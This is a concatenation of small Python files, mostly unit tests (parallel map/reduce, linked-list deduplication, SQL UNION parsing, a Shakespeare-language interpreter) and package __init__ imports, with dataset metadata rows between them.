"""ignores args and kwargs"""
return obj
def test_preduce_preduce_one_process():
"""Test that preduce reduces to functools.reduce for a single process"""
integers = list(range(0, 10))
preduce_results = preduce(add, integers, processes=1)
reduce_results = reduce(add, integers)
assert preduce_results == reduce_results
def test_preduce_preduce_multiple_processes():
"""Test that preduce reduces to functools.reduce for a single process"""
integers = list(range(0, 10))
preduce_results = preduce(add, integers, processes=2)
reduce_results = reduce(add, integers)
assert preduce_results == reduce_results
def test_preduce_on_numpy_arrays():
"""Test sum of numpy arrays as parallel reduce"""
arrays = [np.zeros((32, 32)) for _ in range(10)]
s = preduce(add, arrays, processes=2)
assert np.allclose(s, arrays[0])
def test_preduce_with_kwargs():
"""Test preduce with keyword-arguments"""
pass
def test_pmap_trivial_map_no_args():
"""Test that pmap is working with no positional arguments"""
integers = list(range(0, 10))
result = list(pmap(identity, integers, processes=2))
assert integers == result
def test_pmap_trivial_map_kwargs():
"""Test that pmap is working with args and kwargs"""
integers = list(range(0, 10))
result = list(pmap(identity, integers, processes=2, kwargs={"test": True}))
assert result == integers
def test_pmap_trivial_map_no_args():
"""Test that pmap_unordered is working with no positional arguments"""
integers = list(range(0, 10))
result = list(sorted(pmap_unordered(identity, integers, processes=2)))
assert integers == result
def test_pmap_trivial_map_kwargs():
"""Test that pmap_unordered is working with args and kwargs"""
integers = list(range(0, 10))
result = list(
sorted(pmap_unordered(identity, integers, processes=2, kwargs={"test": True}))
)
assert result == integers
| 29.930556 | 86 | 0.704872 | 291 | 2,155 | 5.058419 | 0.230241 | 0.038043 | 0.069293 | 0.07337 | 0.720109 | 0.720109 | 0.720109 | 0.70788 | 0.70788 | 0.70788 | 0 | 0.01875 | 0.183295 | 2,155 | 71 | 87 | 30.352113 | 0.817614 | 0.224594 | 0 | 0.45 | 0 | 0 | 0.004923 | 0 | 0 | 0 | 0 | 0 | 0.175 | 1 | 0.225 | false | 0.025 | 0.1 | 0 | 0.35 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
386ce39cb0d83e72ff471b651199c0dfdb10c020 | 34 | py | Python | __init__.py | augusnunes/cjs-bot | a585eccbf52506acfe8a0c6d9a756d28af2a0d89 | [
"MIT"
] | 1 | 2021-04-08T23:37:30.000Z | 2021-04-08T23:37:30.000Z | __init__.py | augusnunes/cjs-bot | a585eccbf52506acfe8a0c6d9a756d28af2a0d89 | [
"MIT"
] | null | null | null | __init__.py | augusnunes/cjs-bot | a585eccbf52506acfe8a0c6d9a756d28af2a0d89 | [
"MIT"
] | null | null | null | from cjsbot.cjsimbot import CjsBot | 34 | 34 | 0.882353 | 5 | 34 | 6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088235 | 34 | 1 | 34 | 34 | 0.967742 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
38a71f0fa045ea43c125e878a7b8eceaab6c45dc | 134 | py | Python | patsy/__init__.py | python-discord/patsy | 159fb05022d7302e7ef5df4ddce108b293a5bc19 | [
"MIT"
] | 1 | 2022-01-16T21:02:53.000Z | 2022-01-16T21:02:53.000Z | patsy/__init__.py | python-discord/patsy | 159fb05022d7302e7ef5df4ddce108b293a5bc19 | [
"MIT"
] | null | null | null | patsy/__init__.py | python-discord/patsy | 159fb05022d7302e7ef5df4ddce108b293a5bc19 | [
"MIT"
] | 2 | 2021-11-07T21:16:02.000Z | 2021-12-05T20:00:45.000Z | from functools import partial
import loguru
logger = loguru.logger.opt(colors=False)
logger.opt = partial(logger.opt, colors=False)
| 19.142857 | 46 | 0.791045 | 19 | 134 | 5.578947 | 0.473684 | 0.254717 | 0.283019 | 0.377358 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11194 | 134 | 6 | 47 | 22.333333 | 0.890756 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
38e19fbefc58fc730474ac4f54d4bd8c98d32c57 | 23 | py | Python | stampman/services/mailgun/__init__.py | thunderboltsid/stampman | a360672df9b0ccbaa9f5f3d25a61470a18fe5a7a | [
"MIT"
] | 1 | 2016-12-02T19:24:20.000Z | 2016-12-02T19:24:20.000Z | stampman/services/mailgun/__init__.py | thunderboltsid/stampman | a360672df9b0ccbaa9f5f3d25a61470a18fe5a7a | [
"MIT"
] | null | null | null | stampman/services/mailgun/__init__.py | thunderboltsid/stampman | a360672df9b0ccbaa9f5f3d25a61470a18fe5a7a | [
"MIT"
] | null | null | null | from .mailgun import *
| 11.5 | 22 | 0.73913 | 3 | 23 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 23 | 1 | 23 | 23 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2a1182043b82e93d5bbc8b8894f3231d2bc75269 | 312 | py | Python | pandapipes/component_models/abstract_models/__init__.py | nsanina/pandapipes | b2daaca6b83e7d8934502796721846bd9d552364 | [
"BSD-3-Clause"
] | null | null | null | pandapipes/component_models/abstract_models/__init__.py | nsanina/pandapipes | b2daaca6b83e7d8934502796721846bd9d552364 | [
"BSD-3-Clause"
] | null | null | null | pandapipes/component_models/abstract_models/__init__.py | nsanina/pandapipes | b2daaca6b83e7d8934502796721846bd9d552364 | [
"BSD-3-Clause"
] | null | null | null | from .component_models import *
from .branch_models import *
from .branch_w_internals_models import *
from .branch_wo_internals_models import *
from .branch_wzerolength_models import *
from .node_element_models import *
from .node_models import *
from .const_flow_models import *
from .circulation_pump import *
| 31.2 | 41 | 0.826923 | 43 | 312 | 5.627907 | 0.348837 | 0.396694 | 0.528926 | 0.363636 | 0.256198 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 312 | 9 | 42 | 34.666667 | 0.876812 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
2a1b1ed801a0c9e2a0ad0cf54f567934c09c9326 | 119 | py | Python | src/tespy/networks/__init__.py | jbueck/tespy | dd7a2633ce12f33b4936ae902f4fe5df29191690 | [
"MIT"
] | null | null | null | src/tespy/networks/__init__.py | jbueck/tespy | dd7a2633ce12f33b4936ae902f4fe5df29191690 | [
"MIT"
] | null | null | null | src/tespy/networks/__init__.py | jbueck/tespy | dd7a2633ce12f33b4936ae902f4fe5df29191690 | [
"MIT"
] | null | null | null | # -*- coding: utf-8
from .network_reader import load_network # noqa: F401
from .networks import network # noqa: F401
| 29.75 | 54 | 0.731092 | 17 | 119 | 5 | 0.647059 | 0.258824 | 0.352941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070707 | 0.168067 | 119 | 3 | 55 | 39.666667 | 0.787879 | 0.327731 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
2a22a1fcd84a0441bf8f0985d98344895ab0839e | 6,737 | py | Python | 010 Remove Duplicates From Linked List/Remove_Duplicates_From_Linked_List_test.py | Iftakharpy/AlgoExpert-Questions | f4aef449bfe0ee651d84a92487c3b3bedb3aa739 | [
"Apache-2.0"
] | 3 | 2021-11-19T07:32:27.000Z | 2022-03-22T13:46:27.000Z | 010 Remove Duplicates From Linked List/Remove_Duplicates_From_Linked_List_test.py | Iftakharpy/AlgoExpert-Questions | f4aef449bfe0ee651d84a92487c3b3bedb3aa739 | [
"Apache-2.0"
] | null | null | null | 010 Remove Duplicates From Linked List/Remove_Duplicates_From_Linked_List_test.py | Iftakharpy/AlgoExpert-Questions | f4aef449bfe0ee651d84a92487c3b3bedb3aa739 | [
"Apache-2.0"
] | 5 | 2022-01-02T11:51:12.000Z | 2022-03-22T13:53:32.000Z | from Remove_Duplicates_From_Linked_List import LinkedList, removeDuplicatesFromLinkedList
def construct_node(node, next_node=None):
if node==None:
return None
ll = LinkedList(node['value'])
ll.next = next_node
return ll
def find_node_with_id(nodes, id):
for node in nodes:
if node['id'] == id:
return construct_node(node, find_node_with_id(nodes, node['next']))
def construct_linked_list(data):
return find_node_with_id(data['nodes'], data['head'])
def test_removeDuplicatesFromLinkedList_case_1():
duplicate = {'head': '1', 'nodes': [{'id': '1', 'next': '1-2', 'value': 1}, {'id': '1-2', 'next': '1-3', 'value': 1}, {'id': '1-3', 'next': '2', 'value': 1}, {'id': '2', 'next': '3', 'value': 3}, {'id': '3', 'next': '3-2', 'value': 4}, {'id': '3-2', 'next': '3-3', 'value': 4}, {'id': '3-3', 'next': '4', 'value': 4}, {
'id': '4', 'next': '5', 'value': 5}, {'id': '5', 'next': '5-2', 'value': 6}, {'id': '5-2', 'next': None, 'value': 6}]}
unique = {'head': '1', 'nodes': [{'id': '1', 'next': '3', 'value': 1}, {'id': '3', 'next': '4', 'value': 3}, {
'id': '4', 'next': '5', 'value': 4}, {'id': '5', 'next': '6', 'value': 5}, {'id': '6', 'next': None, 'value': 6}]}
duplicate = construct_linked_list(duplicate)
unique = construct_linked_list(unique)
assert removeDuplicatesFromLinkedList(duplicate) == unique
def test_removeDuplicatesFromLinkedList_case_2():
duplicate = {'head': '1', 'nodes': [{'id': '1', 'next': '1-2', 'value': 1}, {'id': '1-2', 'next': '1-3', 'value': 1}, {'id': '1-3', 'next': '1-4', 'value': 1}, {'id': '1-4', 'next': '1-5', 'value': 1}, {'id': '1-5', 'next': '4', 'value': 1}, {'id': '4', 'next': '4-2', 'value': 4}, {
'id': '4-2', 'next': '5', 'value': 4}, {'id': '5', 'next': '6', 'value': 5}, {'id': '6', 'next': '6-2', 'value': 6}, {'id': '6-2', 'next': None, 'value': 6}]}
unique = {'head': '1', 'nodes': [{'id': '1', 'next': '4', 'value': 1}, {'id': '4', 'next': '5', 'value': 4}, {'id': '5', 'next': '6', 'value': 5}, {'id': '6', 'next': None, 'value': 6}]}
duplicate = construct_linked_list(duplicate)
unique = construct_linked_list(unique)
assert removeDuplicatesFromLinkedList(duplicate) == unique
def test_removeDuplicatesFromLinkedList_case_3():
duplicate = {'head': '1', 'nodes': [{'id': '1', 'next': '1-2', 'value': 1}, {'id': '1-2', 'next': '1-3', 'value': 1}, {'id': '1-3', 'next': '1-4', 'value': 1}, {'id': '1-4', 'next': '1-5', 'value': 1}, {
'id': '1-5', 'next': '1-6', 'value': 1}, {'id': '1-6', 'next': '1-7', 'value': 1}, {'id': '1-7', 'next': None, 'value': 1}]}
unique = {'head': '1', 'nodes': [{'id': '1', 'next': None, 'value': 1}]}
duplicate = construct_linked_list(duplicate)
unique = construct_linked_list(unique)
assert removeDuplicatesFromLinkedList(duplicate) == unique
def test_removeDuplicatesFromLinkedList_case_4():
duplicate = {'head': '1', 'nodes': [{'id': '1', 'next': '9', 'value': 1}, {'id': '9', 'next': '11', 'value': 9}, {'id': '11', 'next': '15', 'value': 11}, {'id': '15', 'next': '15-2', 'value': 15}, {'id': '15-2', 'next': '16', 'value': 15}, {'id': '16', 'next': '17', 'value': 16}, {
'id': '17', 'next': None, 'value': 17}]}
unique = {'head': '1', 'nodes': [{'id': '1', 'next': '9', 'value': 1}, {'id': '9', 'next': '11', 'value': 9}, {'id': '11', 'next': '15', 'value': 11}, {'id': '15', 'next': '16', 'value': 15}, {'id': '16', 'next': '17', 'value': 16}, {'id': '17', 'next': None, 'value': 17}]}
duplicate = construct_linked_list(duplicate)
unique = construct_linked_list(unique)
assert removeDuplicatesFromLinkedList(duplicate) == unique
def test_removeDuplicatesFromLinkedList_case_5():
duplicate = {'head': '1', 'nodes': [{'id': '1', 'next': None, 'value': 1}]}
unique = {'head': '1', 'nodes': [{'id': '1', 'next': None, 'value': 1}]}
duplicate = construct_linked_list(duplicate)
unique = construct_linked_list(unique)
assert removeDuplicatesFromLinkedList(duplicate) == unique
def test_removeDuplicatesFromLinkedList_case_6():
duplicate = {'head': '-5', 'nodes': [{'id': '-5', 'next': '-1', 'value': -5}, {'id': '-1', 'next': '-1-2', 'value': -1}, {'id': '-1-2', 'next': '-1-3', 'value': -1}, {'id': '-1-3', 'next': '5', 'value': -1}, {'id': '5', 'next': '5-2', 'value': 5}, {'id': '5-2', 'next': '5-3', 'value': 5}, {'id': '5-3', 'next': '8', 'value': 5}, {'id': '8', 'next': '8-2', 'value': 8}, {'id': '8-2', 'next': '9', 'value': 8}, {
'id': '9', 'next': '10', 'value': 9}, {'id': '10', 'next': '11', 'value': 10}, {'id': '11', 'next': '11-2', 'value': 11}, {'id': '11-2', 'next': None, 'value': 11}]}
unique = {'head': '-5', 'nodes': [{'id': '-5', 'next': '-1', 'value': -5}, {'id': '-1', 'next': '5', 'value': -1}, {'id': '5', 'next': '8', 'value': 5}, {'id': '8', 'next': '9', 'value': 8}, {'id': '9', 'next': '10', 'value': 9}, {'id': '10', 'next': '11', 'value': 10}, {'id': '11', 'next': None, 'value': 11}]}
duplicate = construct_linked_list(duplicate)
unique = construct_linked_list(unique)
assert removeDuplicatesFromLinkedList(duplicate) == unique
def test_removeDuplicatesFromLinkedList_case_7():
duplicate = {'head': '1', 'nodes': [{'id': '1', 'next': '2', 'value': 1}, {'id': '2', 'next': '3', 'value': 2}, {'id': '3', 'next': '4', 'value': 3}, {'id': '4', 'next': '5', 'value': 4}, {'id': '5', 'next': '6', 'value': 5}, {'id': '6', 'next': '7', 'value': 6}, {'id': '7', 'next': '8', 'value': 7}, {'id': '8', 'next': '9', 'value': 8}, {'id': '9', 'next': '10', 'value': 9}, {'id': '10', 'next': '11', 'value': 10}, {'id': '11', 'next': '12', 'value': 11}, {'id': '12', 'next': '12-2', 'value': 12}, {
'id': '12-2', 'next': None, 'value': 12}]}
unique = {'head': '1', 'nodes': [{'id': '1', 'next': '2', 'value': 1}, {'id': '2', 'next': '3', 'value': 2}, {'id': '3', 'next': '4', 'value': 3}, {'id': '4', 'next': '5', 'value': 4}, {'id': '5', 'next': '6', 'value': 5}, {'id': '6', 'next': '7', 'value': 6}, {'id': '7', 'next': '8', 'value': 7}, {'id': '8', 'next': '9', 'value': 8}, {'id': '9', 'next': '10', 'value': 9}, {'id': '10', 'next': '11', 'value': 10}, {'id': '11', 'next': '12', 'value': 11}, {'id': '12', 'next': None, 'value': 12}]}
duplicate = construct_linked_list(duplicate)
unique = construct_linked_list(unique)
assert removeDuplicatesFromLinkedList(duplicate) == unique
| 69.453608 | 510 | 0.488199 | 892 | 6,737 | 3.610987 | 0.050448 | 0.026079 | 0.059609 | 0.039118 | 0.813412 | 0.797578 | 0.791059 | 0.755976 | 0.755976 | 0.745731 | 0 | 0.076083 | 0.198159 | 6,737 | 96 | 511 | 70.177083 | 0.520178 | 0 | 0 | 0.370968 | 0 | 0 | 0.235055 | 0 | 0 | 0 | 0 | 0 | 0.112903 | 1 | 0.16129 | false | 0 | 0.016129 | 0.016129 | 0.241935 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2a6140d0e3f35fef89a3cfd5559add3bb4e981f5 | 43 | py | Python | src/rubrix/server/tasks/commons/api/__init__.py | drahnreb/rubrix | 340e545baf4d65a0d94e3c671ad6c93ff1d59700 | [
"Apache-2.0"
] | null | null | null | src/rubrix/server/tasks/commons/api/__init__.py | drahnreb/rubrix | 340e545baf4d65a0d94e3c671ad6c93ff1d59700 | [
"Apache-2.0"
] | null | null | null | src/rubrix/server/tasks/commons/api/__init__.py | drahnreb/rubrix | 340e545baf4d65a0d94e3c671ad6c93ff1d59700 | [
"Apache-2.0"
] | null | null | null | from .model import *
from .search import *
| 14.333333 | 21 | 0.72093 | 6 | 43 | 5.166667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186047 | 43 | 2 | 22 | 21.5 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
aa6a386d41025d1d3c3969949c6d9917b9c643a5 | 1,704 | py | Python | tests/sql_parser/ast/test_union_is_parsed.py | vladbalmos/mitzasql | 06c2a96eb4494095b2b72bc1454199a4940b0700 | [
"MIT"
] | 69 | 2019-05-16T06:40:18.000Z | 2022-03-24T06:23:49.000Z | tests/sql_parser/ast/test_union_is_parsed.py | vladbalmos/mitzasql | 06c2a96eb4494095b2b72bc1454199a4940b0700 | [
"MIT"
] | 36 | 2019-05-15T19:55:24.000Z | 2021-07-22T07:07:14.000Z | tests/sql_parser/ast/test_union_is_parsed.py | vladbalmos/mitzasql | 06c2a96eb4494095b2b72bc1454199a4940b0700 | [
"MIT"
] | 8 | 2019-05-16T06:56:28.000Z | 2022-02-11T02:24:12.000Z | import pytest
from mitzasql.sql_parser.parser import parse
from mitzasql.utils import dfs
def test_union_is_parsed():
raw_sql = '''
SELECT col1, col2 FROM tbl1
UNION
SELECT col1, col2 FROM tbl2
'''
ast = parse(raw_sql)
assert len(ast) > 0
ast = ast[0]
assert ast.type == 'operator'
assert ast.value == 'UNION'
assert ast.children[0].type == 'select'
assert ast.children[1].type == 'select'
def test_union_with_parens_is_parsed():
raw_sql = '''
(SELECT col1, col2 FROM tbl1)
UNION
(SELECT col1, col2 FROM tbl2)
'''
ast = parse(raw_sql)
assert len(ast) > 0
ast = ast[0]
assert ast.type == 'operator'
assert ast.value == 'UNION'
assert ast.children[0].type == 'select'
assert ast.children[1].type == 'select'
def test_multiple_unions_are_parsed():
raw_sql = '''
(SELECT col1, col2 FROM tbl1)
UNION
(SELECT col1, col2 FROM tbl2)
UNION
SELECT 1
UNION
SELECT
a,
b,
c
FROM tbl1 JOIN tbl2 JOIN tbl3 USING (a,b, c)
'''
ast = parse(raw_sql)
assert len(ast) > 0
ast = ast[0]
assert ast.type == 'operator'
assert ast.value == 'UNION'
assert ast.children[0].type == 'select'
assert ast.children[1].type == 'operator'
assert ast.children[1].value == 'UNION'
nested_union = ast.children[1]
assert nested_union.children[0].type == 'select'
assert nested_union.children[1].type == 'operator'
assert nested_union.children[1].value == 'UNION'
nested_union = nested_union.children[1]
assert nested_union.children[0].type == 'select'
assert nested_union.children[1].type == 'select'
| 21.846154 | 54 | 0.623239 | 234 | 1,704 | 4.423077 | 0.175214 | 0.113043 | 0.114976 | 0.104348 | 0.805797 | 0.768116 | 0.710145 | 0.710145 | 0.710145 | 0.710145 | 0 | 0.032915 | 0.251174 | 1,704 | 77 | 55 | 22.12987 | 0.778213 | 0 | 0 | 0.637931 | 0 | 0 | 0.283451 | 0 | 0 | 0 | 0 | 0 | 0.362069 | 1 | 0.051724 | false | 0 | 0.051724 | 0 | 0.103448 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
aa7c16bb6b582a110f4fcf707e3380a66c7e4bad | 46 | py | Python | 2020/alaska2-image-steganalysis/schedulers/__init__.py | kn25ha01/kaggle-competitions | fce44d6758c4757a7d0a0a6b00d756ff26a97d3f | [
"MIT"
] | null | null | null | 2020/alaska2-image-steganalysis/schedulers/__init__.py | kn25ha01/kaggle-competitions | fce44d6758c4757a7d0a0a6b00d756ff26a97d3f | [
"MIT"
] | null | null | null | 2020/alaska2-image-steganalysis/schedulers/__init__.py | kn25ha01/kaggle-competitions | fce44d6758c4757a7d0a0a6b00d756ff26a97d3f | [
"MIT"
] | null | null | null | from .scheduler_factory import get_scheduler
| 15.333333 | 44 | 0.869565 | 6 | 46 | 6.333333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108696 | 46 | 2 | 45 | 23 | 0.926829 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
aa871c25c456a0fcacc76cf66d630e4f572f16b2 | 149 | py | Python | Dataset/Leetcode/test/66/609.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/test/66/609.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/test/66/609.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | class Solution:
def XXX(self, digits: List[int]) -> List[int]:
return [int(i) for i in str(int("".join([str(i) for i in digits])) + 1)]
| 29.8 | 80 | 0.577181 | 26 | 149 | 3.307692 | 0.576923 | 0.162791 | 0.116279 | 0.162791 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008621 | 0.221477 | 149 | 4 | 81 | 37.25 | 0.732759 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
aacb4076ceab3211b0ddd6cf0b4ee66fc626148a | 31 | py | Python | plugins/pelican-cover-image/__init__.py | chalkless/tdwg-website | b0be535fcd5acd48205da1982412a263ec3d7f01 | [
"CC-BY-4.0"
] | 12 | 2017-10-03T13:35:54.000Z | 2022-03-18T13:23:34.000Z | plugins/pelican-cover-image/__init__.py | chalkless/tdwg-website | b0be535fcd5acd48205da1982412a263ec3d7f01 | [
"CC-BY-4.0"
] | 110 | 2017-08-11T12:54:00.000Z | 2022-03-20T22:04:20.000Z | plugins/pelican-cover-image/__init__.py | chalkless/tdwg-website | b0be535fcd5acd48205da1982412a263ec3d7f01 | [
"CC-BY-4.0"
] | 59 | 2017-11-07T05:04:42.000Z | 2022-03-22T19:39:23.000Z | from .cover_image_url import *
| 15.5 | 30 | 0.806452 | 5 | 31 | 4.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.851852 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
aad20af7484a18dc311fa6ef986c49c230576c11 | 208 | py | Python | nbdev_export_demo/module2.py | hamelsmu/nbdev_export_demo | 947deeeefd33b0d70538927d162172c767d8bf4c | [
"Apache-2.0"
] | null | null | null | nbdev_export_demo/module2.py | hamelsmu/nbdev_export_demo | 947deeeefd33b0d70538927d162172c767d8bf4c | [
"Apache-2.0"
] | 30 | 2021-05-04T21:44:07.000Z | 2022-03-20T03:07:58.000Z | nbdev_export_demo/module2.py | hamelsmu/nbdev_export_demo | 947deeeefd33b0d70538927d162172c767d8bf4c | [
"Apache-2.0"
] | 1 | 2022-02-20T17:10:20.000Z | 2022-02-20T17:10:20.000Z | # AUTOGENERATED! DO NOT EDIT! File to edit: module2.ipynb (unless otherwise specified).
__all__ = ['func3', 'nothing_again']
# Comes from demo.ipynb, cell
def func3(): pass
# Cell
def nothing_again(): pass | 23.111111 | 87 | 0.725962 | 29 | 208 | 5 | 0.724138 | 0.165517 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016949 | 0.149038 | 208 | 9 | 88 | 23.111111 | 0.80226 | 0.567308 | 0 | 0 | 1 | 0 | 0.206897 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.666667 | false | 0.666667 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
aad65cfc4bcff7ff2bc2ba7e498033b1a39ec3fe | 82 | py | Python | toy/__init__.py | bheavner/python_toy | 51cb42232784da9d8d39b95d3994bc75548ff2a3 | [
"MIT"
] | null | null | null | toy/__init__.py | bheavner/python_toy | 51cb42232784da9d8d39b95d3994bc75548ff2a3 | [
"MIT"
] | null | null | null | toy/__init__.py | bheavner/python_toy | 51cb42232784da9d8d39b95d3994bc75548ff2a3 | [
"MIT"
] | null | null | null | """enable 'import toy' for 'toy.hello_func()'"""
from toy.hello import hello_func
| 27.333333 | 48 | 0.719512 | 13 | 82 | 4.384615 | 0.538462 | 0.280702 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109756 | 82 | 2 | 49 | 41 | 0.780822 | 0.512195 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2ae4cd3986b0d38cdc343367685630c2574216f8 | 5,495 | py | Python | shakespearelang/tests/unit/test_character_output.py | btc1311/shakespearelang | 5cdbd5023252f2ada124d1b2d2390c9d7e79e395 | [
"MIT"
] | null | null | null | shakespearelang/tests/unit/test_character_output.py | btc1311/shakespearelang | 5cdbd5023252f2ada124d1b2d2390c9d7e79e395 | [
"MIT"
] | null | null | null | shakespearelang/tests/unit/test_character_output.py | btc1311/shakespearelang | 5cdbd5023252f2ada124d1b2d2390c9d7e79e395 | [
"MIT"
] | null | null | null | from shakespearelang.shakespeare_interpreter import Shakespeare
from io import StringIO
import pytest
def test_outputs_correct_character(capsys):
s = Shakespeare()
s.run_dramatis_persona('Juliet, a test.')
s.run_dramatis_persona('Romeo, a test.')
s.run_event('[Enter Romeo and Juliet]')
s._character_by_name('Romeo').value = 97
